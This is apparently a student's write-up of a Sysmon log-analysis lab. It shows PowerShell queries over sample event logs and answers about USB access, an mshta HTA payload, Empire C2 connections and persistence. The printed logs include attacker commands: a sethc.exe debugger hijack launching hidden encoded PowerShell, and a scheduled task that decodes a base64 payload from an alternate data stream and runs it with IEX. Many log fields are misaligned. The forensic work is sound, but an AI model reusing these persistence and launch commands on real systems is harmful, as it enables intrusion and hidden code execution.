Investigation 1
-------------------
What is the full registry key of the USB device calling svchost.exe in Investigation 1? 

Registry is EventID 12/13/14 so let's take a look at those ID's ! EventID 12 and 14 return "no event found" but got lucky with EventID 13 :

PS C:\Windows\system32> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-1.evtx -FilterXPath '*/System/EventID=13' | fl

TimeCreated  : 3/6/2018 6:57:51 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 13
Message      : Registry value set:
               RuleName: SetValue
               EventType: 2018-03-06 06:57:51.007
               UtcTime: {2ca4c7ef-396e-5a9e-0000-001007c50000}
               ProcessGuid: 616
               ProcessId: 0
               Image: HKLM\System\CurrentControlSet\Enum\WpdBusEnumRoot\UMB\2&37c186b&0&STORAGE#VOLUME#_??_USBSTOR#DISK&VEN_SANDISK&PROD_U3_CR
               UZER_MICRO&REV_8.01#4054910EF19005B3&0#\FriendlyName
               TargetObject: U
               Details: %8

Answer : HKLM\System\CurrentControlSet\Enum\WpdBusEnumRoot\UMB\2&37c186b&0&STORAGE#VOLUME#_??_USBSTOR#DISK&VEN_SANDISK&PROD_U3_CR                UZER_MICRO&REV_8.01#4054910EF19005B3&0#\FriendlyName

• What is the device name when being called by RawAccessRead in Investigation 1?

Googling the RawAccessRead EventID 9 :

PS C:\Windows\system32> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-1.evtx -FilterXPath '*/System/EventID=9' -MaxEvents 1 | fl

TimeCreated  : 3/6/2018 6:57:51 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 9
Message      : RawAccessRead detected:
               RuleName: 2018-03-06 06:57:51.070
               UtcTime: {2ca4c7ef-396f-5a9e-0000-0010a06d0100}
               ProcessGuid: 1388
               ProcessId: 0
               Image: \Device\HarddiskVolume3
               Device: %6

Answer : \Device\HarddiskVolume3

• What is the first exe the process executes in Investigation 1?

Process creation has EventId 1 and get the first event "-MaxEvents 1" :

PS C:\Windows\system32> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-1.evtx -FilterXPath '*/System/EventID=1' -MaxEvents 1 | fl

TimeCreated  : 3/6/2018 6:57:51 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 1
Message      : Process Create:
               RuleName: 2018-03-06 06:57:51.132
               UtcTime: {2ca4c7ef-3bef-5a9e-0000-001081120e00}
               ProcessGuid: 3348
               ProcessId: 0
               Image: 6.1.7600.16385 (win7_rtm.090713-1255)
               FileVersion: Windows Calculator
               Description: Microsoft® Windows® Operating System
               Product: Microsoft Corporation
               Company: calc.exe
               OriginalFileName: C:\Windows\system32\
               CommandLine: WIN-7JKBJEGBO38\q
               CurrentDirectory: {2ca4c7ef-396f-5a9e-0000-002001500100}
               User: 0x15001
               LogonGuid: 1
               LogonId: 0x0
               TerminalSessionId: 0
               IntegrityLevel: {2ca4c7ef-3bef-5a9e-0000-0010a5110e00}
               Hashes: 4024
               ParentProcessGuid: C:\Windows\System32\rundll32.exe
               ParentProcessId: 0
               ParentImage: %21
               ParentCommandLine: %22

Answer : rundll32.exe

Investigation 2
-------------------

I firstly tried EventID 3 and got the second part of the answers for investigation 2. Then after opened the log in event viewer i realised that a second interesting EventID was triggered : EventID 1 :

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-2.evtx -FilterXPath '*/System/EventID=1' | fl


TimeCreated  : 6/15/2019 7:14:32 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 1
Message      : Process Create:
               RuleName:
               UtcTime: 2019-06-15 07:14:32.622
               ProcessGuid: {365abb72-9ad8-5d04-0000-0010c08c1000}
               ProcessId: 3892
               Image: C:\Windows\System32\dllhost.exe
               [...]

TimeCreated  : 6/15/2019 7:13:42 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 1
Message      : Process Create:
               RuleName:
               UtcTime: 2019-06-15 07:13:42.278
               ProcessGuid: {365abb72-9aa6-5d04-0000-00109c850f00}
               ProcessId: 652
               Image: C:\Windows\System32\mshta.exe
               FileVersion: 11.00.9600.16428 (winblue_gdr.131013-1700)
               Description: Microsoft (R) HTML Application host
               Product: Internet Explorer
               Company: Microsoft Corporation
               OriginalFileName: "C:\Windows\System32\mshta.exe" "C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet
               Files\Content.IE5\S97WTYG7\update.hta"
               CommandLine: C:\Users\IEUser\Desktop\
               CurrentDirectory: IEWIN7\IEUser
               User: {365abb72-98e4-5d04-0000-0020a4350100}
               LogonGuid: 0x135a4
               LogonId: 0x1
               TerminalSessionId: 0
               IntegrityLevel: SHA1=D4F0397F83083E1C6FB0894187CC72AEBCF2F34F,MD5=ABDFC692D9FE43E2BA8FE6CB5A8CB95A,SHA256=949485BA939953642714A
               E6831D7DCB261691CAC7CBB8C1A9220333801F60820,IMPHASH=00B1859A95A316FD37DFF4210480907A
               Hashes: {365abb72-9972-5d04-0000-0010f0490c00}
               ParentProcessGuid: 3660
               ParentProcessId: 0
               ParentImage: "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\IEUser\Downloads\update.html
               ParentCommandLine: %22

• What is the full path of the payload in Investigation 2?

Answer : C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S97WTYG7\update.hta

• What is the full path of the file the payload masked itself as in Investigation 2?

Answer :C:\Users\IEUser\Downloads\update.html

• What signed binary executed the payload in Investigation 2?

PS C:\Windows\system32> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-2.evtx -FilterXPath '*/System/EventID=3' | fl


TimeCreated  : 6/15/2019 7:13:44 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 3
Message      : Network connection detected:
               RuleName:
               UtcTime: 2019-06-15 07:13:42.577
               ProcessGuid: {365abb72-9aa6-5d04-0000-00109c850f00}
               ProcessId: 652
               Image: C:\Windows\System32\mshta.exe
               User: IEWIN7\IEUser
               Protocol: tcp
               Initiated: true
               SourceIsIpv6: false
               SourceIp: 10.0.2.13
               SourceHostname: IEWIN7
               SourcePort: 49159
               SourcePortName:
               DestinationIsIpv6: false
               DestinationIp: 10.0.2.18
               DestinationHostname:
               DestinationPort: 4443
               DestinationPortName:

Answer :C:\Windows\System32\mshta.exe

• What is the IP of the adversary in Investigation 2?

Answer : 10.0.2.18

• What back connect port is used in Investigation 2?

Answer : 4443

Investigation 3.1
---------------------

• What is the IP of the suspected adversary in Investigation 3.1?

C2 server hit in my mind for EventID 3 :

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-3.1.evtx -FilterXPath '*/System/EventID=3' -MaxEvents 1| fl

TimeCreated  : 2/12/2018 9:15:59 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 3
Message      : Network connection detected:
               RuleName: 2018-02-12 09:15:58.664
               UtcTime: {b231f4ab-5a53-5a81-0000-0010c752ef01}
               ProcessGuid: 12224
               ProcessId: 0
               Image: DESKTOP-O153T4R\q
               User: tcp
               Protocol: true
               Initiated: false
               SourceIsIpv6: 172.16.199.179
               SourceIp: DESKTOP-O153T4R.localdomain
               SourceHostname: 54923
               SourcePort: 0
               SourcePortName: false
               DestinationIsIpv6: 172.30.1.253
               DestinationIp: empirec2
               DestinationHostname: 80
               DestinationPort: 0
               DestinationPortName: %18

Answer : 172.30.1.253

• What is the hostname of the affected endpoint in Investigation 3.1?

Answer : DESKTOP-O153T4R

• What is the hostname of the C2 server connecting to the endpoint in Investigation 3.1?

Answer : empirec2

• Where in the registry was the payload stored in Investigation 3.1?

Looking for registry event with EventID 12/13/14 :

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-3.1.evtx -FilterXPath '*/System/EventID=13' -MaxEvents 1| fl

TimeCreated  : 2/12/2018 9:15:57 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 13
Message      : Registry value set:
               RuleName: SetValue
               EventType: 2018-02-12 09:15:57.046
               UtcTime: {b231f4ab-5a53-5a81-0000-0010c752ef01}
               ProcessGuid: 12224
               ProcessId: 0
               Image: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger
               TargetObject: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKLM:Software\Microsoft\Network
               debug).debug);start -Win Hidden -A \"-enc $x\" powershell";exit;
               Details: %8

Answer : HKLM\SOFTWARE\Microsoft\Network\debug

• What PowerShell launch code was used to launch the payload in Investigation 3.1?

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-3.1.evtx -FilterXPath '*/System/EventID=13' -MaxEvents 1| fl

TimeCreated  : 2/12/2018 9:15:57 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 13
Message      : Registry value set:
               RuleName: SetValue
               EventType: 2018-02-12 09:15:57.046
               UtcTime: {b231f4ab-5a53-5a81-0000-0010c752ef01}
               ProcessGuid: 12224
               ProcessId: 0
               Image: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger
               TargetObject: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKLM:Software\Microsoft\Network
               debug).debug);start -Win Hidden -A \"-enc $x\" powershell";exit;
               Details: %8

Answer : "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKLM:Software\Microsoft\Network                debug).debug);start -Win Hidden -A \"-enc $x\" powershell";exit;

Investigation 3.2
----------------------

• What is the IP of the adversary in Investigation 3.2?

After looking at event viewer :

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-3.2.evtx -FilterXPath '*/System/EventID=3' | fl

TimeCreated  : 2/5/2018 7:08:55 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 3
Message      : Network connection detected:
               RuleName: 2018-02-05 07:08:53.923
               UtcTime: {b231f4ab-f2e9-5a77-0000-0010cb670802}
               ProcessGuid: 11020
               ProcessId: 0
               Image: DESKTOP-O153T4R\q
               User: tcp
               Protocol: true
               Initiated: false
               SourceIsIpv6: 172.168.103.167
               SourceIp: DESKTOP-O153T4R.SSG-350M
               SourceHostname: 52984
               SourcePort: 0
               SourcePortName: false
               DestinationIsIpv6: 172.168.103.188
               DestinationIp: ACA867BC.ipt.aol.com
               DestinationHostname: 80
               DestinationPort: 0
               DestinationPortName: %18

Answer : 172.168.103.188

• What is the full path of the payload location in Investigation 3.2?

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-3.2.evtx -FilterXPath '*/System/EventID=1' | fl

TimeCreated  : 2/5/2018 7:08:53 AM
[...]

TimeCreated  : 2/5/2018 7:08:53 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 1
Message      : Process Create:
               RuleName: 2018-02-05 07:08:53.750
               UtcTime: {b231f4ab-0305-5a78-0000-00101b276402}
               ProcessGuid: 8992
               ProcessId: 0
               Image: 10.0.16299.15 (WinBuild.160101.0800)
               FileVersion: Task Scheduler Configuration Tool
               Description: Microsoft® Windows® Operating System
               Product: Microsoft Corporation
               Company: "C:\WINDOWS\system32\schtasks.exe" /Create /F /SC DAILY /ST 09:00 /TN Updater /TR
               "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX
               ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($(cmd /c ''more < c:\users\q\AppData:blah.txt'''))))\""
               OriginalFileName: C:\Users\q\
               CommandLine: DESKTOP-O153T4R\q
               CurrentDirectory: {b231f4ab-a303-5a66-0000-002087720500}
               User: 0x57287
               LogonGuid: 1
               LogonId: 0x0
               TerminalSessionId: 0
               IntegrityLevel: {b231f4ab-f2e9-5a77-0000-0010cb670802}
               Hashes: 11020
               ParentProcessGuid: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
               ParentProcessId: 0
               ParentImage: %21
               ParentCommandLine: %22

TimeCreated  : 2/5/2018 7:08:53 AM
[...]

Answer : c:\users\q\AppData:blah.txt

• What was the full command used to create the scheduled task in Investigation 3.2?

Answer : "C:\WINDOWS\system32\schtasks.exe" /Create /F /SC DAILY /ST 09:00 /TN Updater /TR                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX                ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($(cmd /c ''more < c:\users\q\AppData:blah.txt'''))))\""

• What process was accessed by schtasks.exe that would be considered suspicious behavior in Investigation 3.2?

Answer : lsass.exe

Investigation 4
--------------------

• What is the IP of the adversary in Investigation 4?

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Investigations\Investigation-4.evtx -FilterXPath '*/System/EventID=3' | fl

[...]
TimeCreated  : 2/14/2018 9:51:56 AM
ProviderName : Microsoft-Windows-Sysmon
Id           : 3
Message      : Network connection detected:
               RuleName: 2018-02-14 09:51:55.108
               UtcTime: {b231f4ab-03e3-5a84-0000-001082172a00}
               ProcessGuid: 7412
               ProcessId: 0
               Image: NT AUTHORITY\SYSTEM
               User: tcp
               Protocol: true
               Initiated: false
               SourceIsIpv6: 172.16.199.179
               SourceIp: DESKTOP-O153T4R.localdomain
               SourceHostname: 49867
               SourcePort: 0
               SourcePortName: false
               DestinationIsIpv6: 172.30.1.253
               DestinationIp: empirec2
               DestinationHostname: 80
               DestinationPort: 0
               DestinationPortName: %18
[...]

Answer : 172.30.1.253

• What port is the adversary operating on in Investigation 4?

Answer : 80

• What C2 is the adversary utilizing in Investigation 4?

Answer : empire